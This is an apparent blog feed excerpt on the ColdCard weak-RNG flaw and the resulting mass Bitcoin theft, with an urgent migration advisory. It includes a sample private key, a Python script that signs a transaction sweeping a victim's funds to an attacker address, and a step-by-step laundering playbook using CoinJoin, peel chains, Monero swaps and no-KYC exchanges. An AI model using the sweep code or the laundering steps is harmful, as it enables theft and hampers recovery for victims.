<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Compressed WIF: L1P8P5vQUoRiNXpDuezfTf3GJtsFBWyJZsvfVs2gxNtxaAXSNhhF
</span></span><span class="line"><span class="cl">Address       : bc1qc3rmdj3ln6n05awxwetg0gz8e2aw0lzyxmaecp</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>That WIF is the private key in a format any wallet understands. From here the attacker can:</p>
<ol>
<li><strong>Import the seed or the WIF</strong> into Sparrow, Electrum, or another wallet.</li>
<li><strong>Rescan</strong> the blockchain to see all UTXOs for that seed.</li>
<li><strong>Build a transaction</strong> sending the funds to an address they control.</li>
<li><strong>Sign and broadcast</strong>.</li>
</ol>
<h3>Concrete sweep example<span class="hx:absolute hx:-mt-20" id="concrete-sweep-example"></span>
    <a href="#concrete-sweep-example" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>In the real case, the attacker swept the 29.89251877 BTC UTXO from address <a href="https://mempool.space/address/bc1qe85jr4em79p66fsszkvfhwjf6p6qst58a2ahlr"target="_blank" rel="noopener"><code>bc1qe85jr...</code></a> to the consolidation address. What they needed to produce was a signed transaction. The skeleton, with didactic values and a fictional input, looks like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.transactions</span> <span class="kn">import</span> <span class="n">Transaction</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">bitcoinlib.keys</span> <span class="kn">import</span> <span class="n">HDKey</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># key recovered from the collided seed</span>
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">HDKey</span><span class="o">.</span><span class="n">from_seed</span><span class="p">(</span><span class="n">candidate_mnemonic</span><span class="p">)</span><span class="o">.</span><span class="n">derive</span><span class="p">(</span><span class="s2">&#34;m/84&#39;/0&#39;/0&#39;/0/0&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">input_value</span>  <span class="o">=</span> <span class="mi">2_989_251_877</span>      <span class="c1"># 29.89251877 BTC, in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">fee</span>          <span class="o">=</span> <span class="mi">7_380</span>              <span class="c1"># fee in satoshis</span>
</span></span><span class="line"><span class="cl"><span class="n">output_value</span> <span class="o">=</span> <span class="n">input_value</span> <span class="o">-</span> <span class="n">fee</span>  <span class="c1"># what is left for the attacker</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">tx</span> <span class="o">=</span> <span class="n">Transaction</span><span class="p">(</span><span class="n">network</span><span class="o">=</span><span class="s1">&#39;bitcoin&#39;</span><span class="p">,</span> <span class="n">fee</span><span class="o">=</span><span class="n">fee</span><span class="p">,</span> <span class="n">witness_type</span><span class="o">=</span><span class="s1">&#39;segwit&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_input</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;</span><span class="p">,</span>  <span class="c1"># victim UTXO txid</span>
</span></span><span class="line"><span class="cl">    <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span><span class="o">=</span><span class="n">key</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">value</span><span class="o">=</span><span class="n">input_value</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">locking_script</span><span class="o">=</span><span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s1">&#39;0014&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="n">key</span><span class="o">.</span><span class="n">hash160</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">script_type</span><span class="o">=</span><span class="s1">&#39;sig_pubkey&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">address</span><span class="o">=</span><span class="n">key</span><span class="o">.</span><span class="n">address</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">add_output</span><span class="p">(</span><span class="n">output_value</span><span class="p">,</span> <span class="s1">&#39;bc1qqdcszapk2yjrw0esf4t0etnlpjs5krsk5e99ru&#39;</span><span class="p">)</span>  <span class="c1"># attacker address</span>
</span></span><span class="line"><span class="cl"><span class="n">tx</span><span class="o">.</span><span class="n">sign</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">tx</span><span class="o">.</span><span class="n">raw_hex</span><span class="p">())</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>A valid signed transaction looks like this (hex truncated):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">01000000000101aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000000000ffffffff...</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>The attacker broadcasts that hex to any Bitcoin node (mempool.space, their own node, Electrum, etc.). The protocol does not ask where the key came from; it only checks whether the signature satisfies the script. If the signature is valid, the network includes the transaction in the next block and the UTXO changes owner.</p>
<p>In the real attack, this was done 1,195 times in 41 minutes, all with the same script, the same fee rate, and the same balance-sorted logic.</p>
<h2>What this bug class means<span class="hx:absolute hx:-mt-20" id="what-this-bug-class-means"></span>
    <a href="#what-this-bug-class-means" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This is not an attack on the elliptic curve, SHA-256, BIP39, or Bitcoin. It is an attack on <strong>entropy</strong>. The manufacturer reduced the key space, and the protocol simply accepted the signatures that came out of that smaller space.</p>
<p>Three lessons:</p>
<ol>
<li><strong>Do not trust the appearance of randomness.</strong> Yasmarang&rsquo;s output passes simple statistical tests and looks random. But if the initial state is predictable, the entire sequence is predictable.</li>
<li><strong>Hashing does not create entropy.</strong> Passing 40 bits of input through SHA-256 twice yields a nice, uniform hash, but there are still at most <code>2^40</code> possible hashes. The attacker enumerates inputs, not hashes.</li>
<li><strong>The blockchain is public and permanent.</strong> A vulnerable wallet can sit quietly for years until someone connects the dots. On the day the attack is published, every UTXO in that key space becomes a target.</li>
</ol>
<h2>Can the attacker be caught?<span class="hx:absolute hx:-mt-20" id="can-the-attacker-be-caught"></span>
    <a href="#can-the-attacker-be-caught" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Whenever a cryptocurrency theft reaches this scale, one question keeps coming up: &ldquo;can the person be traced?&rdquo;. The short answer is: <strong>maybe, but it is not trivial</strong>, and tracing is not the same as recovering the bitcoins.</p>
<p>Clay Garrett, who is among the people investigating the case, published <a href="https://x.com/clay_garrett/status/2083247006139503065"target="_blank" rel="noopener">a thread on X</a> claiming that his team identified an unusual sweep pattern. According to the thread, the attack operator allegedly used a paid account at a well-known blockchain-services provider to query the source addresses and related activity during the sweeps. The provider&rsquo;s logs allegedly matched, with &ldquo;extraordinary specificity,&rdquo; the number, timing, and sequence of requests. The provider, Garrett says, was only delivering normal services; the requests themselves did not reveal their purpose.</p>
<p>What this means, <strong>if confirmed</strong>:</p>
<ul>
<li>A blockchain-services provider usually requires an account, and often payment. That can leave traces: email, payment method, IP address, access times, API usage patterns.</li>
<li>If the account was KYC&rsquo;d, the chance of identifying a person rises sharply. If payment was made with cryptocurrency, an anonymous voucher, or a third-party card, the link weakens.</li>
<li>Even with an IP or email, the operator may have used a VPN, Tor, disposable cloud compute, or a stolen identity. Each extra layer reduces the chance of reaching the real person.</li>
<li>The funds, as far as is known, have not yet been moved to mixers or exchanges. While they remain stationary, there is a window for freezing or judicial recovery. Once they are swapped, mixed, or converted to offshore fiat, asset recovery becomes drastically harder.</li>
</ul>
<p>So the thread points to a promising line of investigation, but <strong>it is an ongoing allegation</strong>, not a concluded proof. Catching the operator depends on how much they exposed through third-party services, the quality of the logs, jurisdiction, and how fast authorities act. Recovering the bitcoins depends on where the coins are when that happens. The two are related, but they are not the same thing.</p>
<h2>What the attacker has not done yet<span class="hx:absolute hx:-mt-20" id="what-the-attacker-has-not-done-yet"></span>
    <a href="#what-the-attacker-has-not-done-yet" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>So far, the operation has been technically competent at the attack but amateurish at the escape. The ~1,128 BTC stolen are sitting in known consolidation addresses, with no mixer, no coinjoin, no follow-up movement. That is unusual for a theft of this size and worth attention, because it determines what is still recoverable.</p>
<h3>What a mixer is, and why it has not been used<span class="hx:absolute hx:-mt-20" id="what-a-mixer-is-and-why-it-has-not-been-used"></span>
    <a href="#what-a-mixer-is-and-why-it-has-not-been-used" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A <strong>mixer</strong> (or <strong>tumbler</strong>) is a service that takes bitcoins from many people, shuffles the amounts inside a single transaction or a series of transactions, and returns equivalent bitcoins to fresh addresses. The goal is to break the public chain of &ldquo;where it came from.&rdquo;</p>
<p>The classic model is <strong>CoinJoin</strong>: several participants jointly sign a transaction with many inputs and many outputs of the same size. An outside observer sees the money go in but cannot tell which output belongs to whom. Tools like <strong>Wasabi Wallet</strong> and <strong>Samourai Wallet</strong> implement CoinJoin automatically. Samourai even offered a service called <strong>Whirlpool</strong>, where UTXOs go through remix rounds that make tracing even harder.</p>
<p>Another model is the centralized mixer: you send bitcoins to a service address and receive them back from a different pool, minus a fee. Services like <strong>Bitcoin Fog</strong> and <strong>Helix</strong> historically worked this way. The difference from CoinJoin is that you must trust the mixer operator — and several of those operators were arrested precisely because investigators could link deposits to withdrawals.</p>
<p>In the ColdCard theft, none of these techniques has appeared yet. The bitcoins moved from the victims&rsquo; wallets into three large clusters and have not moved since. That can mean several things:</p>
<ol>
<li><strong>The attacker is still getting ready.</strong> Stealing 1,128 BTC in 41 minutes is one thing; laundering 1,128 BTC without leaving a trace is another. Setting up an anonymization pipeline takes time, costs money, and requires pre-established accounts.</li>
<li><strong>The attacker did not expect this much visibility.</strong> Once the press and blockchain analysts start tracking addresses in real time, any immediate movement becomes news. Leaving the funds still is a way to wait for the noise to die down.</li>
<li><strong>The attacker may be negotiating a recovery.</strong> Large thefts sometimes end in settlements, with part of the funds returned in exchange for the thief&rsquo;s anonymity.</li>
</ol>
<h3>How one normally hides a haul like this<span class="hx:absolute hx:-mt-20" id="how-one-normally-hides-a-haul-like-this"></span>
    <a href="#how-one-normally-hides-a-haul-like-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>If the operator really wants to make tracing difficult, the standard playbook involves several layers:</p>
<ol>
<li><strong>CoinJoin rounds.</strong> The attacker splits the funds into standardized amounts and runs them through multiple CoinJoin rounds. After a few rounds the graph stops being a tree and becomes a web, making attribution hard.</li>
<li><strong>Peel chain.</strong> Instead of sending everything at once, the operator moves small slices across dozens or hundreds of intermediate addresses, like peeling an onion. Each address forwards most of the value to the next one and a tiny fraction to a final destination.</li>
<li><strong>Instant swaps and bridges.</strong> Swapping Bitcoin for Monero on a decentralized exchange or bridge is a common path: Monero hides sender, recipient, and amount. After a few Monero transactions, the attacker can swap back into Bitcoin at fresh addresses.</li>
<li><strong>Weak-KYC or no-KYC exchanges.</strong> Depositing into exchanges that do not require identification, or that accept third-party accounts, lets the attacker convert into stablecoins, fiat, or other cryptocurrencies. Even with KYC, bought accounts or money mules help create distance.</li>
<li><strong>Offshore fiat.</strong> The final stage is turning the asset into real cash outside jurisdictions that cooperate with investigations. Unregulated exchanges, Bitcoin ATMs, prepaid cards, and accounts in tax havens fit here.</li>
</ol>
<p>None of these layers makes tracing impossible, but each raises the cost. A well-funded investigation can still follow clues: fees paid by an exchange, timing patterns, change addresses, value matches. The problem is that the more layers there are, the more time it takes — and the more time passes, the lower the chance of freezing the funds before they are spent.</p>
<h3>Why this matters now<span class="hx:absolute hx:-mt-20" id="why-this-matters-now"></span>
    <a href="#why-this-matters-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The fact that the bitcoins are still in the consolidation addresses means the recovery window is still theoretically open. Law enforcement and private investigators can monitor those addresses, request freezes at exchanges, and pressure blockchain-service providers. If the attacker sends even a single satoshi to a known mixer, alarms go off.</p>
<p>But that window closes as soon as the funds enter an anonymization pipeline. After a proper CoinJoin, a Monero swap, and a network of peel chains, the question stops being &ldquo;where is the money?&rdquo; and becomes &ldquo;who can we arrest?&rdquo;. Recovering the asset becomes technically infeasible for most victims.</p>
<p>In other words, the attacker has already won the first battle — finding and stealing the keys. The second battle, cashing out anonymously, is the one that usually separates big-wallet thieves from thieves who end up in prison.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>If you still have funds in a seed generated by vulnerable ColdCard firmware, the risk is not theoretical. The blockchain already shows hundreds of addresses being emptied by someone who reproduced the broken RNG.</p>
<p>The ColdCard does not hold your bitcoins. It held the key. The key was born weak. Whoever has a copy of the same key — obtained by enumerating states of a PRNG — can sign transactions on your behalf, without ever having touched the device.</p>
<p>The only defense is to move the funds to a new seed, generated by corrected firmware or, better, by a process that combines independent entropy sources (casino-grade dice, a different manufacturer&rsquo;s TRNG, an offline host). And test recovery before sending meaningful value.</p>
<p>Do not trust a company, certification, influencer, or article. Not even this one. Verify.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>URGENT - If You Keep Bitcoin on a ColdCard: MOVE EVERYTHING</title><link>https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/07/31/urgent-if-you-keep-bitcoin-on-a-coldcard-move-everything/</guid><pubDate>Fri, 31 Jul 2026 23:00:00 -0300</pubDate><description>&lt;p&gt;I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.&lt;/p&gt;
&lt;p&gt;I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address &lt;a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener"&gt;received 594.47723261 BTC across 501 outputs&lt;/a&gt;. That is public blockchain data, not a Telegram screenshot. Issue 416 of &lt;a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener"&gt;Bitcoin Optech&lt;/a&gt;, published while the case was still unfolding, already estimated losses above &lt;strong&gt;1,000 BTC&lt;/strong&gt;.&lt;/p&gt;</description><content:encoded><![CDATA[<p>I use ColdCard. Or rather, I used that old ColdCard to store part of my bitcoin. I have already moved everything that was on it to a new wallet. If your seed was generated on a ColdCard since March 2021 and you cannot prove it came from safe firmware or enough external entropy, stop reading, take inventory, and get ready to move too.</p>
<p>I am not exaggerating for a clickbait headline. On July 29, transactions started sweeping user wallets. One consolidation address <a href="https://mempool.space/address/bc1qnk4zh9qcnap2mycp56qjrgza3cc8ylrh8fecp0"target="_blank" rel="noopener">received 594.47723261 BTC across 501 outputs</a>. That is public blockchain data, not a Telegram screenshot. Issue 416 of <a href="https://bitcoinops.org/en/newsletters/2026/07/31/#wallets-generated-by-coldcard-at-risk-of-theft"target="_blank" rel="noopener">Bitcoin Optech</a>, published while the case was still unfolding, already estimated losses above <strong>1,000 BTC</strong>.</p>
<p>The exact number will still change. The 594 BTC cluster is directly observable; attributing every input to the same vulnerability and closing the global total requires more analysis. But the combination of victim reports, the sweep pattern, reproduction of the bug, and Coinkite&rsquo;s own admission is strong enough. Waiting for a pretty forensic report while a vulnerable seed keeps receiving funds is a terrible strategy.</p>
<blockquote>
  <p>Do not panic and type your 24 words into the first website that promises to &ldquo;check your ColdCard&rdquo; either. That is the other, much easier way to lose everything. A seed never goes into a website, chat, browser extension, or online computer. First understand whether you were affected. Then migrate calmly, verifying the address on the screen of a trusted signer.</p>

</blockquote>
<h2>Who needs to act now<span class="hx:absolute hx:-mt-20" id="who-needs-to-act-now"></span>
    <a href="#who-needs-to-act-now" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>The vulnerability is in <strong>seed generation</strong>. What matters is the model and firmware used on the day those words were created, not the firmware installed today or where you imported the seed afterward.</p>
<blockquote>
  <p><strong>In practice: if you own any ColdCard, move the funds to a wallet derived from a completely new seed. Better to err on the side of caution.</strong> The ranges below show where the bug has already been confirmed; they are no reason to bet your life savings on the assumption that everything else is perfect. Updating the device does not repair the old seed.</p>

</blockquote>
<p>According to <a href="https://blog.coinkite.com/coldcard-mk3-seed-generation-warning/"target="_blank" rel="noopener">Coinkite&rsquo;s advisory</a> and <a href="https://engineering.block.xyz/blog/predictable-rng-fallback-and-32-bit-reseed-in-coldcard-firmware"target="_blank" rel="noopener">Block&rsquo;s independent analysis</a>, treat as compromised any seed generated under these conditions:</p>
<table>
  <thead>
      <tr>
          <th>Device</th>
          <th>Firmware that generated the seed</th>
          <th>Status</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Mk2</td>
          <td>4.0.0 through 4.1.9, according to Block</td>
          <td>Vulnerable. Migrate the seed and retire the device as a generator.</td>
      </tr>
      <tr>
          <td>Mk3</td>
          <td>4.0.1 through 4.1.9 in Coinkite&rsquo;s advisory; Block includes 4.0.0</td>
          <td>Vulnerable. Install 4.2.0 or later before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Standard</td>
          <td>Earlier than 5.6.0</td>
          <td>Affected. Update before generating another seed.</td>
      </tr>
      <tr>
          <td>Mk4 / Mk5 Edge</td>
          <td>Earlier than 6.6.0X</td>
          <td>Affected. Edge is a separate release track.</td>
      </tr>
      <tr>
          <td>Q Standard</td>
          <td>Earlier than 1.5.0Q</td>
          <td>Affected.</td>
      </tr>
      <tr>
          <td>Q Edge</td>
          <td>Earlier than 6.6.0QX</td>
          <td>Affected.</td>
      </tr>
  </tbody>
</table>
<p>Block includes the Mk2 running 4.x firmware in the same regression as the Mk3 and starts the vulnerable range for both at 4.0.0. Coinkite focused its advisory on the Mk3, starting at 4.0.1, and on current models. I would treat the entire 4.x line through 4.1.9 as compromised on both. If you own an Mk2, do not take comfort from its absence in the advisory headline.</p>
<p>There is one important exception: anyone who added at least <strong>50 fair, independent, and private die rolls</strong> during the original setup theoretically preserved at least 128 bits from an outside source. Coinkite itself says those seeds are not at risk from <strong>this bug alone</strong>. If you do not remember exactly how many rolls you made, which flow you used, or whether those results remained private, assume you did not do it.</p>
<p>A seed imported from another generator was not born from this defective RNG either. It may have other problems, of course, but not this one. Updating firmware now cannot travel back in time and repair any words. You must create a new seed and transfer the UTXOs to addresses derived from it.</p>
<blockquote>
  <p><strong>Restoring the same 24 words on a Trezor, Ledger, SeedSigner, or any other device is NOT a migration. You are still in danger.</strong> The hardware changed; the root and the entire universe of derived private keys remain the same. Another derivation path may display different addresses, but it adds no entropy. If the ColdCard generated that wallet using the weak RNG, importing its seed into another signer merely teaches the new device to reproduce the same vulnerable keys. Create a completely new wallet with new entropy, then make an on-chain transaction that moves the funds from the old wallet to addresses in the new one.</p>

</blockquote>
<p>I would do this even with a strong passphrase. The passphrase may have placed an independent barrier in front of the attacker, but Coinkite itself recommends migrating. After a failure of this magnitude, calculating the minimum theoretically acceptable risk is saving money in the wrong place.</p>
<h2>The bug: <code>#ifndef</code> does not mean &ldquo;if true&rdquo;<span class="hx:absolute hx:-mt-20" id="the-bug-ifndef-does-not-mean-if-true"></span>
    <a href="#the-bug-ifndef-does-not-mean-if-true" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Coinkite&rsquo;s <a href="https://blog.coinkite.com/entropy-technical-backgrounder/"target="_blank" rel="noopener">technical postmortem</a> is an embarrassing read.</p>
<p>In March 2021, the firmware replaced <code>ckcc.rng_bytes()</code> with <code>ngu.random.bytes()</code> during its migration to libNgU and the <code>libsecp256k1</code> used by Bitcoin Core. The library choice was good. The integration was disastrous.</p>
<p>The build code defined:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#define MICROPY_HW_ENABLE_RNG (0)</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>But the guard in libNgU checked this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#ifndef MICROPY_HW_ENABLE_RNG
</span></span></span><span class="line"><span class="cl"><span class="cp">#error &#34;get a HW TRNG plz&#34;
</span></span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><code>#ifndef</code> asks whether the symbol exists, not whether its value is nonzero. The symbol existed. The build passed. In the final resolution, <code>rng_get()</code> pointed to MicroPython&rsquo;s software fallback, a deterministic PRNG called Yasmarang, initialized with the microcontroller UID and timing registers. A UID identifies a chip. A clock measures time. Neither is a cryptographic source of randomness.</p>
<p>Worse, the correct TRNG implementation was inside the binary. Previous reviews looked at it and concluded everything was fine, but nobody verified the complete path between &ldquo;create new wallet&rdquo; and the symbol actually called in the executable. There was no integration test that failed when the seed came from the wrong generator.</p>
<p>On the Mk3, Coinkite&rsquo;s preliminary estimate is around <strong>40 bits of effective entropy</strong>, instead of the minimum 128 bits expected. On the Mk4, Q, and Mk5, values from the secure elements entered as a second layer, and the company estimates approximately <strong>72 bits</strong>. Block&rsquo;s analysis is harsher: only 32 bits of material from the secure elements reached the PRNG state during that reseed. The threat models and estimates are not identical. None comes close to the target.</p>
<p>Passing bad output through SHA-256 does not create entropy. If only <code>2^40</code> inputs exist, at most <code>2^40</code> possible hashes exist. They look nice and uniform and remain enumerable.</p>
<p>This sat on the most important path in the product for more than five years.</p>
<h2>How a 120-file rewrite got us here<span class="hx:absolute hx:-mt-20" id="how-a-120-file-rewrite-got-us-here"></span>
    <a href="#how-a-120-file-rewrite-got-us-here" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://x.com/zherbert/status/2082993276324319713"target="_blank" rel="noopener">Zach Herbert published a timeline</a> worth summarizing. He is a Foundation cofounder, Passport manufacturer, and Coinkite competitor, so read the interpretation with that context. The dates and commits, however, can be verified.</p>
<p>In July 2020, Foundation announced that its first Passport would build on ColdCard&rsquo;s GPLv3 firmware. Two days later, NVK publicly complained about the &ldquo;clone&rdquo; and said he would change the license. In November, ColdCard added MIT plus the Commons Clause, which left the code visible but restricted derivative commercial products. In January 2021, the change formally appeared in firmware 3.2.1.</p>
<p>On March 1 came the <code>First pass w/ libNgU</code> commit: 120 files changed, removal of GPL-covered libraries derived from Trezor, replacement of the cryptographic stack, and a change to seed generation. On March 17, version 4.0.0 announced the removal of the last GPL code.</p>
<p>There is no way to prove how much of the haste or scope came from the license dispute. The timeline itself acknowledges other legitimate goals: adopting <code>libsecp256k1</code>, accelerating AES/SHA, and enabling reproducible builds. The concrete fact is simpler: the bug entered in that same massive commit, and the product went five years without an end-to-end test of its most critical path.</p>
<p>That is engineering incompetence. A hardware wallet can have a secure element, sealed packaging, an air gap, and a website full of explanations about sovereignty. If the function that creates the key calls the wrong RNG and nobody tests it for five years, everything else is theater.</p>
<h2>This was a white swan, not a black swan<span class="hx:absolute hx:-mt-20" id="this-was-a-white-swan-not-a-black-swan"></span>
    <a href="#this-was-a-white-swan-not-a-black-swan" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I have already seen people call this a &ldquo;black swan,&rdquo; as though a cosmic alignment of unforeseeable events had struck Coinkite. It was not.</p>
<p>The vulnerable code had been visible in the repository since March 2021. The commit was enormous, but not secret. The deterministic fallback was in a public submodule. The macro defined as zero was in the board configuration. The incorrect <code>#ifndef</code> was in the integration. What was missing was following the seed-generation call all the way to the symbol resolved in the binary and writing a test that proved where its entropy came from.</p>
<p>A black swan is rare, surprising, and only looks obvious afterward. This was a <strong>white swan</strong>: a known risk in the most sensitive category of the product, with an observable cause and a predictable consequence. Nobody knew the exact day someone would connect the dots and sweep the wallets. The bomb, however, had been assembled and ticking in public for five years.</p>
<p>And Coinkite helped reduce the number of people willing to defuse it.</p>
<p>In 2021, Marko Bencun from Shift/BitBox and Hugo Nguyen from Nunchuk <a href="https://blog.bitbox.swiss/en/remote-multisig-theft-attack-on-the-coldcard-hardware-wallet/"target="_blank" rel="noopener">responsibly disclosed a critical multisig flaw</a>. Coinkite fixed the code, but its release notes did not say it was a vulnerability or communicate any urgency. Bencun&rsquo;s bounty request was ignored. The company published a more explicit warning only after the researcher released the details.</p>
<p>The <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">current responsible disclosure policy</a> still leaves reward amount, eligibility, and timing to the company&rsquo;s discretion. Researchers working for competitors or well-funded labs are not eligible for a bounty. The page even throws in &ldquo;we are not here to make it easy for you,&rdquo; as if antagonizing people who audit your vault demonstrated personality.</p>
